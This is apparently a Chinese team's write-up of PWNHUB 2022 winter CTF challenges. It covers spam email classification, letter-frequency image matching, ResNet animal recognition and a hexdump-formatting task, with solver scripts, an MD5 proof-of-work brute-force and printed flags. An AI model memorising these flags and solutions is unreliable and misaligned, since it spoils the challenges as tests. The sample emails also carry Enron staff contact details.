s worth the effort .rnvince kaminskirnlou casari @ enron communicationsrn09 / 20 / 2000 02 : 10 pmrnsent by : molly carnes @ enron communicationsrnto : vince j kaminski / hou / ect @ ectrncc :rnsubject : mathworksrndo you know this person or this company ? they are want to set an appointmentrnwith ebs and i believe , are wanting to meet with you , also . any feedback ?rnthanks .rnmolly carnes for lou casarirnenron broadband servicesrn713 - 853 - 1467 , room eb 4486 arnmolly _ carnes @ enron . netrn- - - - - forwarded by molly carnes / enron communications on 09 / 20 / 00 02 : 09 pmrn- - - - -rnscottw @ mathworks . comrn09 / 20 / 00 08 : 46 amrnto : lou casari / enron communications @ enron communicationsrncc :rnsubject : we ' ll be in houstonrnhello mr . casari :rnmyself and our energy trading financial team will be visiting with the r & drngroup at enron the week of 10 / 16 / 00 . they have several applications can berndramatically improved with our tools .rnwe are very interested to understand the bandwidth trading market , to seernif any additional challanges can be overcome with our tools .rni would like to understand your challanges of modeling , simulating andrndeploying applications to control risk .rnare you available to discuss these items prior to our visit ?rni look forward to hearing from you .rnthanksrnscott wakefield"
The category is (H for ham/S for spam):
H
################################################################################
Testing data 5/10
--------------------------------------------------------------------------------
b'Subject: fw : 1999 ' s cfo excellence award winnerrn- - - - - original message - - - - -rnfrom : adams , matthewrnsent : monday , october 22 , 2001 4 : 07 pmrnto : port , david ; murphy , ted ; curry , wanda ; brackett , debbie r .rnsubject : 1999 ' s cfo excellence award winnerrninteresting reading . here ' s a quote :rnfastow ' s expert balancing act , in fact , has earned him this year ' s cfo excellence award for capital structure management . " we needed someone to rethink the entire financing structure at enron from soup to nuts , " says jeffrey k . skilling , enron president and chief operating officer . " we didn ' t want someone stuck in the past , since the industry of yesterday is no longer . andy has the intelligence and the youthful exuberance to think in new ways . he deserves every accolade tossed his way . "rn'
The category is (H for ham/S for spam):
H
################################################################################
Testing data 6/10
--------------------------------------------------------------------------------
b'Subject: seeking the man or woman of your dreams ?rn'
The category is (H for ham/S for spam):
S
################################################################################
Testing data 7/10
--------------------------------------------------------------------------------
b'Subject: re : alp presentationrndennis ,rnthanks for you message . i shall send you more information regarding therndinner later this week .rnchristie patrick , who is in charge of our university liaison unit , is makingrnarrangements forrnthe evening at the enron field . hopefully , we shall be able to combinerndinner with a game .rnvincern" dennis w . loughridge " on 04 / 30 / 2001 10 : 49 : 10 amrnplease respond tornto :rncc :rnsubject : re : alp presentationrnvincerni will be attending the alp presentation on may 7 and would be pleased tornjoin the team for dinner if it is not too late .rnthank yourndennis loughridgerndennis w . loughridgerndirector of energy consortiumrnrice universityrn713 - 348 - 2812rn- - - - - original message - - - - -rnfrom : vince . j . kaminski @ enron . com [ mailto : vince . j . kaminski @ enron . com ]rnsent : tuesday , april 10 , 2001 8 : 16 amrnto : loughrid @ rice . edurncc : luigical @ rice . edurnsubject : alp presentationrnsorry , trying again . i probably got a wrong e - mail address and the originalrnmessagernwas returned .rnvince kaminskirn- - - - - - - - - - - - - - - - - - - - - - forwarded by vince j kaminski / hou / ect on 04 / 10 / 2001rn08 : 15 am - - - - - - - - - - - - - - - - - - - - - - - - - - -rnvince j kaminskirn04 / 10 / 2001 08 : 13 amrnto : barrett @ rice . edu , uecker @ rice . edu , cmiller @ rice . edu ,rnlounghrid @ rice . edu , luigical @ rice . edurncc : vince j kaminski / hou / ect @ ect , christie patrick / hou / ect @ ect , shirleyrncrenshaw / hou / ect @ ect , kenneth parkhill / na / enron @ enronrnsubject : alp presentationrnon behalf of enron corp . i would like to invite you to an alp projectrnpresentation by a group of studentsrnof jesse h . jones graduate school of management , rice university .rnthe students will present the results of a research project regardingrnelectronic tradingrnplatforms in the energy industry .rnthe presentation will be held on may 7 , at 4 : 00 p . m . at enron , 1400 smith .rnwe would also like to invite you to dinner , following the presentation .rnvince kaminskirnvincent kaminskirnmanaging director - researchrnenron corp .rn1400 smith streetrnroom ebl 962rnhouston , tx 77002 - 7361rnphone : ( 713 ) 853 3848rn( 713 ) 410 5396 ( cell )rnfax : ( 713 ) 646 2503rne - mail : vkamins @ enron . com'
The category is (H for ham/S for spam):
H
################################################################################
Testing data 8/10
--------------------------------------------------------------------------------
b"Subject: would you like a $ 250 check ?rnwe ' re receiving checks for $ 100 ' s and $ 1 , 000 ' srnevery month - let me show you how you can easilyrndo the exact same thing !rnyou are receiving this emailrnas a subscriber to the dealsuwant mailing list . to remove yourselfrnfrom this and related email lists click here :rnunsubscribe my emailrnunder bill ( s ) 1618 title iii by the 105 us congress , per sectionrn301 , paragraph ( a ) ( 2 ) of s . 1618 , a letter cannot be consideyellowrnspam if the sender includes contact information and a methodrnof removal .rn"
The category is (H for ham/S for spam):
S
################################################################################
Testing data 9/10
--------------------------------------------------------------------------------
b"Subject: fwd : need meds xanaix | = v @ 1 | um ' vl @ gra pnter : m : in _ somia | hoosornwe believe ordering medication should be as simple as ordering anything else on the internet : private , secure , and easy .rnwe have : ` som : a : # pntermin . vl @ gra = / v / alium _ xana _ x _ - ativ ` @ nrnplus : p : @ xil , busp @ : r , a ` dipex , ionam | * n , m 3 rid ` ia , x 3 nic . a | , ambi 3 ' n , s : 0 nata , fl 3 x . eril , ce | : 3 brex , f ' ioric 3 t , tram : @ do | , uitr @ ` m , l 3 . vitra , prop . 3 cia , ac . yc | 0 vir , pr ` 0 z @ crnwe offer you a choice of original and generic medications .rnenjoy deep discount meds here .rn"
The category is (H for ham/S for spam):
S
################################################################################
Testing data 10/10
--------------------------------------------------------------------------------
b'Subject: get your college degree online !rn'
The category is (H for ham/S for spam):
S
################################################################################
Good job! Just take it:
flag{3acf10d4ed12d34ed63e62ec225c077f}
Press ENTER to continue... % (base) 0HB@Caliburn ~ %
文字频率分析
Step1
先交互,得到一张有400个字符串的png大图(test.png)
分割png,去重得到26个图,肉眼识别后手动改名为对应字母
python
from PIL import Image, ImageDraw, ImageFont, ImageFilter
size = 20
imgs = []
png = Image.open('/Users/0HB/Desktop/分析/test.png')
pngs = []
for y in range(size):
for x in range(size):
tmp = png.crop((x * 50, y * 50, (x+1)*50, (y+1) * 50))
if tmp not in pngs: # 去重
pngs.append(tmp)
assert len(pngs) == 26
for i in range(len(pngs)):
pngs[i].save(f'/Users/0HB/Desktop/分析/seeds/{i}.png')
Step2
再次交互,将得到新的大图分割成400份,每一份都在26个字母图中查在哪个位置,即可分别识别出对应字母
最后仿照题目中result列表的生成方式,恢复出result,发送之得到flag
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from string import digits
from pwn import *
from itertools import product
import base64, hashlib
from PIL import Image
table = 'abcdef' + digits
class Solve():
def __init__(self):
# nc 47.97.127.1 24929
self.sh = remote('47.97.127.1', 24929)
def proof_of_work(self):
GeShi = b"What's is plaintext?"
proof = self.sh.recvuntil(GeShi).decode().split('sha256')[-1].split("What's is plaintext?")[0]
print(proof)
Xnum = 6
tail = proof.split('plaintext: ')[-1].split('??????')[0].strip()
_hash = proof.split('-> ')[-1].strip()
if 'n' in _hash:
_hash = _hash.split('n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
head = ''.join(i)
# print(head)
t = hashlib.md5((tail+head).encode()).hexdigest()
if t == _hash:
print('爆破成功!结果是:', end='')
print(tail+head)
self.sh.sendline((tail+head).encode())
break
def fxxk(self):
size = 20
seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
result = [0 for _ in range(26)]
ans = []
for i in seed:
path = f'/Users/0HB/Desktop/分析/seeds/{i}.png'
ans.append(Image.open(path).resize((50, 50), Image.ANTIALIAS)) # .resize((50, 50), Image.ANTIALIAS) 很关键
png = Image.open('/Users/0HB/Desktop/分析/flag.png')
for y in range(size):
for x in range(size):
tmp1 = png.crop((x * 50, y * 50, (x + 1) * 50, (y + 1) * 50))
c = ans.index(tmp1)
result[c] += 1
return result
def solve(self):
self.proof_of_work()
self.sh.recvuntil(b'now, you get a png:')
tmp = self.sh.recvuntil(b'##The end, please tell me your list:').split(b'##The end, please tell me your list:')[0]
tmp = tmp.strip()
img_data = base64.b64decode(tmp)
with open('/Users/0HB/Desktop/分析/flag.png', 'wb') as f:
f.write(img_data)
print('图片已生成!')
self.sh.recvuntil(b'> ')
result = str(self.fxxk())[1:-1].replace(' ', '').encode()
print(result)
self.sh.sendline(result)
print(self.sh.recvline())
print(self.sh.recvline())
# flag{cedf7a5c55e775f73080357b358af0ac}
if __name__ == '__main__':
solution = Solve()
solution.solve()
图片识别
首先是判断使用哪种方案,根据对测试数据的观察,测试样本是对训练的简单增广得到的,所以可以用简单的 backbone + classfication 网络结构训练,题目给出的文件已经使用 ImageFolder 的方法分类好了,backbone 使用 resnet18,classfication 结构为
python
nn.Sequential(OrderedDict([
('dropout1', nn.Dropout(0.1)),
('fc1', nn.Linear(1000, ins.hiddenunits)),
('relu1', nn.ReLU()),
('dropout2', nn.Dropout(0.1)),
('fc2', nn.Linear(ins.hiddenunits, 14)),
('output', nn.LogSoftmax(dim=1))
]))
每个类别的样本数量只有10张,所以使用了丰富的数据增强方法
下面是训练代码
训练环境
PyTorch 1.10.0
Python 3.8(ubuntu20.04)
Cuda 11.3
bash
mkdir work_dirs animal_train animal_val
python
import os
import shutil
import tempfile
from PIL import Image
import numpy as np
import cv2
from sklearn.metrics import classification_report
import torch
from torchvision import datasets, transforms, models
# Read image filenames from the dataset folders
data_dir = './animal'
class_names0 = os.listdir(data_dir)
class_names=[]
for item in class_names0:
class_names+=[item]
num_class = len(class_names)
image_files = [[os.path.join(data_dir, class_name, x)
for x in os.listdir(os.path.join(data_dir, class_name))]
for class_name in class_names]
print(image_files)
image_file_list = []
image_label_list = []
for i, class_name in enumerate(class_names):
image_file_list.extend(image_files[i])
image_label_list.extend([i] * len(image_files[i]))
num_total = len(image_label_list)
print(image_file_list)
image_width, image_height = Image.open(image_file_list[0]).size
print("Total image count:", num_total)
print("Image dimensions:", image_width, "x", image_height)
print("Label names:", class_names)
print("Label counts:", [len(image_files[i]) for i in range(num_class)])
def process_image(image):
''' Scales, crops, and normalizes a PIL image for a PyTorch model,
returns an Numpy array
'''
# TODO: Process a PIL image for use in a PyTorch model
# Resize the images where the shortest side is 256 pixels, keeping the aspect ratio
pil_image = Image.open(image)
width, height = pil_image.size
aspect_ratio = width / height
if aspect_ratio > 1:
pil_image = pil_image.resize((round(aspect_ratio * 256), 256))
else:
pil_image = pil_image.resize((256, round(256 / aspect_ratio)))
# Crop out the center 224x224 portion of the image
width, height = pil_image.size
new_width = 224
new_height = 224
left = (width - new_width)/2
top = (height - new_height)/2
right = (width + new_width)/2
bottom = (height + new_height)/2
pil_image = pil_image.crop((round(left), round(top), round(right), round(bottom)))
return pil_image
# Prepare training, validation, and test data lists
valid_frac = 0.2
trainX, trainY = [], []
valX, valY = [], []
testX, testY = [], []
for i in range(num_total):
trainX.append(image_file_list[i])
trainY.append(image_label_list[i])
j = image_file_list[i]
k = j.split('/')[-2]
r = j.split('/')[-1]
os.makedirs(f'./animal_train/{k}', exist_ok=True)
process_image(j).save(os.path.join(f'./animal_train/{k}/', r))
valX.append(image_file_list[i])
valY.append(image_label_list[i])
j = image_file_list[i]
k = j.split('/')[-2]
r = j.split('/')[-1]
os.makedirs(f'./animal_val/{k}', exist_ok=True)
process_image(j).save(os.path.join(f'./animal_val/{k}/', r))
print(len(trainX), len(valX))
print(trainX)
train_dir = './animal_train'
val_dir = './animal_val'
batch_size = 5
transform = transforms.Compose(
[transforms.ToTensor(),
transforms.RandomVerticalFlip(p=0.5),
transforms.RandomRotation(30, center=(0, 0), expand=True),
transforms.ColorJitter(contrast=0.5),
transforms.ColorJitter(saturation=0.5),
transforms.RandomAffine(degrees=0, shear=(0, 0, 0, 30)),
transforms.Resize((224, 224)),
transforms.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225])])
image_datasets = {}
image_datasets["train"] = datasets.ImageFolder(root = train_dir, transform=transform)
image_datasets["valid"] = datasets.ImageFolder(root = val_dir, transform=transform)
dataset_sizes = {x: len(image_datasets[x]) for x in ['train', 'valid']}
class_names = image_datasets['train'].classes
print(class_names)
train_loader = torch.utils.data.DataLoader(image_datasets["train"], batch_size=batch_size, shuffle = True,
num_workers = 2)
valid_loader = torch.utils.data.DataLoader(image_datasets["valid"], batch_size=batch_size, shuffle = False,
num_workers = 2)
print(dataset_sizes)
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(device)
import argparse
# TODO: Build and train your network
def prep_model(arch):
model_select = models.resnet18(pretrained=True)
return model_select
parser = argparse.ArgumentParser()
g = None
parser.add_argument('-save_dir', action="store", dest="save_dir", type=str, default="./work_dirs")
parser.add_argument('-arch', action="store", dest="arch", type=str, default="resnet18")
parser.add_argument('-learningrate', action="store", dest="learningrate", type=float, default=1e-3)
parser.add_argument('-hiddenunits', action="store", dest="hiddenunits", type=int, default=128)
parser.add_argument('-epochs', action="store", dest="epochs", type=int, default=32)
parser.add_argument('-gpu', action=g, default=None)
ins=parser.parse_args(args=[])
model_select = prep_model(ins.arch)
from collections import OrderedDict
import torch.nn as nn
class Model(nn.Module):
def __init__(self):
super().__init__()
self.model_select = model_select
# Replace model's old classifier with the new classifier
self.classifier = nn.Sequential(OrderedDict([
('dropout1', nn.Dropout(0.1)),
('fc1', nn.Linear(1000, ins.hiddenunits)),
('relu1', nn.ReLU()),
('dropout2', nn.Dropout(0.1)),
('fc2', nn.Linear(ins.hiddenunits, 14)),
('output', nn.LogSoftmax(dim=1))
]))
def forward(self,inputs):
output = model_select(inputs)
output = self.classifier(output)
return output
model = Model()
import torch, gc
gc.collect()
torch.cuda.empty_cache()
use_gpu = torch.cuda.is_available()
print(use_gpu)
import torch.optim as optim
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.classifier.parameters(), lr = ins.learningrate)
model.cuda()
from torch.autograd import Variable
train_loss=[]
test_loss=[]
train_accuracy=[]
test_accuracy=[]
best_acc = 0
# Training
for epoch in range(ins.epochs):
# Reset variables at 0 epoch
correct=0
iteration=0
iter_loss=0.0
model.train() # Training Mode
for i,(inputs,label) in enumerate(train_loader):
labels = torch.zeros((batch_size,14))
item = list(range(batch_size))
for m in item:
labels[m][label[m]]=1
inputs=Variable(inputs)
labels=Variable(labels)
CUDA=torch.cuda.is_available()
if CUDA:
inputs=inputs.cuda()
labels=labels.cuda()
optimizer.zero_grad() # clear gradient
outputs=model(inputs)
loss=criterion(outputs,labels)
iter_loss += loss.item() # Accumulate loss
loss.requires_grad_(True)
loss.backward() # backpropagation
optimizer.step() # update weights
# Save the correct predictions for training data
_,predicted=torch.max(outputs,1)
correct +=(predicted.cpu()==label.cpu()).sum()
iteration +=1
train_loss.append(iter_loss/iteration)
train_accuracy.append((100*correct/len(image_datasets["train"])))
# Testing
correct=0
iteration=0
valid_loss=0.0
model.eval() # Testing Mode
for i, (inputs, label) in enumerate(valid_loader):
labels = torch.zeros((batch_size,14))
item = list(range(batch_size))
for m in item:
labels[m][label[m]]=1
inputs=Variable(inputs)
labels=Variable(labels)
CUDA=torch.cuda.is_available()
if CUDA:
inputs=inputs.cuda()
labels=labels.cuda()
with torch.no_grad():
outputs=model(inputs)
loss=criterion(outputs,labels)
valid_loss += loss.item()
_,predicted=torch.max(outputs,1)
correct+=(predicted.cpu()==label.cpu()).sum()
iteration+=1
test_loss.append(valid_loss/iteration)
test_accuracy.append((100*correct/len(image_datasets["valid"])))
print('Epoch {}/{}, Training Loss:{:.3f}, Training Accuracy:{:.3f}, Testing Loss {:.3f}, Testing Accuracy:{:.3f}'
.format(epoch+1, ins.epochs, train_loss[-1], train_accuracy[-1], test_loss[-1], test_accuracy[-1]))
if (epoch + 1) % 4 == 0 :
state_dict = model.module.state_dict() if next(model.parameters()).device == 'cuda:0' else model.state_dict()
torch.save({'epoch': epoch, 'model_state_dict': state_dict},
f'./{ins.save_dir}/model_epoch_{epoch+1}.bin')
因为题目的任务很简单,这里只要简单地训练一下就可以了,超参:batch_size=4, epochs=32, lr=1e-3
接下来是验证代码
python
import os
import shutil
import tempfile
from PIL import Image
import numpy as np
import cv2
from sklearn.metrics import classification_report
import torch
from torchvision import datasets, transforms, models
data_dir = './animal'
class_names0 = os.listdir(data_dir)
class_names=[]
for item in class_names0:
class_names+=[item]
num_class = len(class_names)
import argparse
def prep_model(arch):
model_select = models.resnet18(pretrained=True)
return model_select
parser = argparse.ArgumentParser()
g = None
parser.add_argument('-save_dir', action="store", dest="save_dir", type=str, default="./work_dirs")
parser.add_argument('-arch', action="store", dest="arch", type=str, default="resnet18")
parser.add_argument('-learningrate', action="store", dest="learningrate", type=float, default=1e-3)
parser.add_argument('-hiddenunits', action="store", dest="hiddenunits", type=int, default=128)
parser.add_argument('-epochs', action="store", dest="epochs", type=int, default=32)
parser.add_argument('-gpu', action=g, default=None)
ins=parser.parse_args(args=[])
model_select = prep_model(ins.arch)
from collections import OrderedDict
import torch.nn as nn
class Model(nn.Module):
def __init__(self):
super().__init__()
self.model_select = model_select
self.model_select.classifier = nn.Sequential(OrderedDict([
('dropout1', nn.Dropout(0.1)),
('fc1', nn.Linear(1000, ins.hiddenunits)),
('relu1', nn.ReLU()),
('dropout2', nn.Dropout(0.1)),
('fc2', nn.Linear(ins.hiddenunits, 14)),
('output', nn.LogSoftmax(dim=1))
]))
def forward(self,inputs):
output = model_select(inputs)
output = self.classifier(output)
return output
model = Model()
import torch, gc
gc.collect()
torch.cuda.empty_cache()
def load_checkpoint(filepath):
checkpoint = torch.load(filepath)
model_select = checkpoint["model_select"]
model_select.classifier = checkpoint['classifier']
model_select.load_state_dict(checkpoint['state_dict'])
model_select.class_to_idx = checkpoint['class_to_idx']
optimizer = checkpoint['optimizer']
epochs = checkpoint['epochs']
for param in model_select.parameters():
param.requires_grad = False
return model_select, checkpoint['class_to_idx']
model = Model()
checkpoint = torch.load("./work_dirs/model_epoch_32.bin", map_location='cpu')
model.load_state_dict(checkpoint['model_state_dict'], strict=False)
if torch.cuda.is_available():
model = model.cuda()
model.eval()
def process_image2(image):
preprocess1 = transforms.Compose([
transforms.Resize(224),
transforms.CenterCrop(224)
])
preprocess2 = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225])
])
image = preprocess1(image)
image = preprocess2(image)
return image
import torch.nn.functional as F
def predict(img, model, topk=5):
img = process_image2(img)
img = np.expand_dims(img, axis=0)
img = torch.from_numpy(img)
inputs = Variable(img).to("cuda")
outputs = model(inputs)
_,predicted=torch.max(outputs,1)
return predicted
from torch.autograd import Variable
from pwn import *
import hashlib
import io
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
r = remote('47.97.127.1', 29846)
def crack(part, c, level = 6):
s = int(part, 16) << (level * 4)
_limit = s + (1 << level * 4)
while s <= _limit:
s += 1
seed = hex(s)[2:].encode()
if hashlib.md5(seed).hexdigest() == c:
print(seed)
r.sendlineafter("What's is plaintext?n> ", seed)
return seed
r.recvuntil('plaintext: ')
pla = r.recv(26)
print(str(pla))
r.recvuntil('md5_hex -> ')
md5_hex = r.recv(32)
print(md5_hex)
crack(str(pla, encoding = "utf-8"), str(md5_hex, encoding = "utf-8"))
r.recvline()
for item in list(range(10)):
r.recvline()
image = r.recvline()[:-1]
li(str(image, encoding = 'utf-8'))
img = base64.b64decode(image)
img = Image.open(io.BytesIO(img))
predicted = predict(img, model)
print(class_names[predicted])
r.sendlineafter('>', class_names[predicted])
r.interactive()
拿到 flag
ppc
tcpshow
模拟算法 以下是AC算法
python
base64_charset = ''.join(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', '+', '/', '='])
def decode(base64_str):
base64_bytes = ['{:0>6}'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
s != '=']
resp = bytearray()
nums = len(base64_bytes) // 4
remain = len(base64_bytes) % 4
integral_part = base64_bytes[0:4 * nums]
while integral_part:
tmp_unit = ''.join(integral_part[0:4])
tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
for i in tmp_unit:
resp.append(i)
integral_part = integral_part[4:]
if remain:
remain_part = ''.join(base64_bytes[nums * 4:])
tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
for i in tmp_unit:
resp.append(i)
return bytes(resp)
def check(x):
return x>=32 and x<=126
def pt(msg,mode):
data = decode(msg)
line = len(data)//16
if(len(data) % 16):
line+=1
for i in range(line):
if(mode == 1):
print(" "*8,end='')
print(hex(i*0x10)[2:].rjust(8,'0'),end=' ')
tmp = data[16*i:16*i+16]
tmp1 = " ".join([hex(j)[2:].rjust(2,"0") for j in tmp])+" "
tmp2 = "".join(chr(j) if check(j) else "." for j in tmp)
tmp1 = tmp1[:23]+" "+tmp1[23:]
tmp2 = tmp2[:8]+" "+tmp2[8:]
#print(len(tmp1))
tmp1 = tmp1.ljust(51," ")
tmp2 = tmp2.ljust(17," ")
print(tmp1+tmp2)
N = int(input())
cin = []
for i in range(N):
mode,msg = input().split()
cin.append((mode,msg))
for i in cin:
pt(i[1],int(i[0]))
然后远程交互
python
import os
import sys
import requests
host,port = '47.97.127.1',10101
base_url = f'http://{host}:{port}'
token_url = f'{base_url}/getToken'
judge_url = f'{base_url}/judge'
def getToken():
result = requests.post(token_url).json()
# print(result)
assert not result['error'], "System error"
return result['data']['token']
def judge(chall:str, src:str, language:str = 'PYTHON'):
data = {
'src': src,
'language': language,
'action': chall,
'token': token,
}
result = requests.post(judge_url, json = data).json()
print(result)
return True
token = getToken()
print(token)
py_src = open('exp.py').read()
judge('chall1', py_src, 'PYTHON')
# error
# output ===========
#
# d88ec5bf78a36ab51d01c8da85457c40f1e4fb722704fdd216596edc71f35846
# {'data': 'SUCCESS', 'error': None, 'flag': 'This_is_only_for_test'}
# {'data': 'SUCCESS', 'error': None, 'flag': 'This_is_only_for_test'}
# {'data': 'WRONG_ANSWER', 'error': 'JudgerError'}
gaming
游戏来咯
注册登陆即可拿到flag
文末:
欢迎各位师傅加入我们:
星盟安全团队纳新群QQ:222328705
有兴趣的师傅欢迎一起来讨论!
原文始发于微信公众号(星盟安全):PWNHUB 2022冬季赛Polaris战队–WP